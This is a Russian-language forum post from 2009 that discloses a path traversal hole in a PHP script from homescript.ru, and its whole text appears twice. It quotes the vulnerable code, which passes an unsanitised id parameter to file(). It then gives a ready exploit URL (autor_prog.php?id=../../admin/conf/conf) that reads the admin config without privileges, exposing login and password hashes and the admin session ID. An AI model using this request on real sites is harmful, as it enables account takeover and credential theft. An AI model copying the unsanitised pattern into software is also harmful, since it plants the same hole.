FriLL
01.09.2009, 21:21
Скрипт с сайта homescript.ru
Уязвимый код
$file=file("db/autor/$_GET[id].txt");
foreach($file as $line)
{
$line=trim($line);
$expl=explode("*",$line);
if(file_exists("db/$expl[0]/$expl[1].txt"))$path="db";
else $path="db/pre_prog";
$file_new=file("$path/$expl[0]/$expl[1].txt");
$file_new[0]=trim($file_new[0]);
$file_new[1]=trim($file_new[1]);
$file_new[8]=trim($file_new[8]);
$file_new[10]=trim($file_new[10]);
$file_new[11]=trim($file_new[11]);
echo "<table width=80% style=\"border-bottom:$conf[69]px $conf[70] $conf[68]\" align=center>
<tr>
<td id=zip_head_prog_news>$file_new[1]";
$stat=array();
$stat=file("db/stat/$expl[1].txt");
$stat=explode("*",$stat[0]);
if($stat[0]!=0)
{
$itog=ceil($stat[1]/$stat[0]);
for($n=0;$n<$itog;$n++)echo "<img src=img/star.jpg border=0>";
}
echo "</td>
</tr>
<tr>
<td id=zip_text_news>$file_new[8]</td>
</tr>
<tr>
<td id=zip_text_news><span id=zip_dat_news>$file_new[10]</span></td>
</tr>
</table><br />";
}
те читалка через file()
читаем конфиги (права админа не нужны)
admin/autor_prog.php?id=../../admin/conf/conf
Вывод идет в перемешку с error-ами
но прочесть это не мешает
в конфигах 3 строки
1) хеш логина
2) хеш пароля
3) идентификатор сессии админа
Уязвимый код
$file=file("db/autor/$_GET[id].txt");
foreach($file as $line)
{
$line=trim($line);
$expl=explode("*",$line);
if(file_exists("db/$expl[0]/$expl[1].txt"))$path="db";
else $path="db/pre_prog";
$file_new=file("$path/$expl[0]/$expl[1].txt");
$file_new[0]=trim($file_new[0]);
$file_new[1]=trim($file_new[1]);
$file_new[8]=trim($file_new[8]);
$file_new[10]=trim($file_new[10]);
$file_new[11]=trim($file_new[11]);
echo "<table width=80% style=\"border-bottom:$conf[69]px $conf[70] $conf[68]\" align=center>
<tr>
<td id=zip_head_prog_news>$file_new[1]";
$stat=array();
$stat=file("db/stat/$expl[1].txt");
$stat=explode("*",$stat[0]);
if($stat[0]!=0)
{
$itog=ceil($stat[1]/$stat[0]);
for($n=0;$n<$itog;$n++)echo "<img src=img/star.jpg border=0>";
}
echo "</td>
</tr>
<tr>
<td id=zip_text_news>$file_new[8]</td>
</tr>
<tr>
<td id=zip_text_news><span id=zip_dat_news>$file_new[10]</span></td>
</tr>
</table><br />";
}
те читалка через file()
читаем конфиги (права админа не нужны)
admin/autor_prog.php?id=../../admin/conf/conf
Вывод идет в перемешку с error-ами
но прочесть это не мешает
в конфигах 3 строки
1) хеш логина
2) хеш пароля
3) идентификатор сессии админа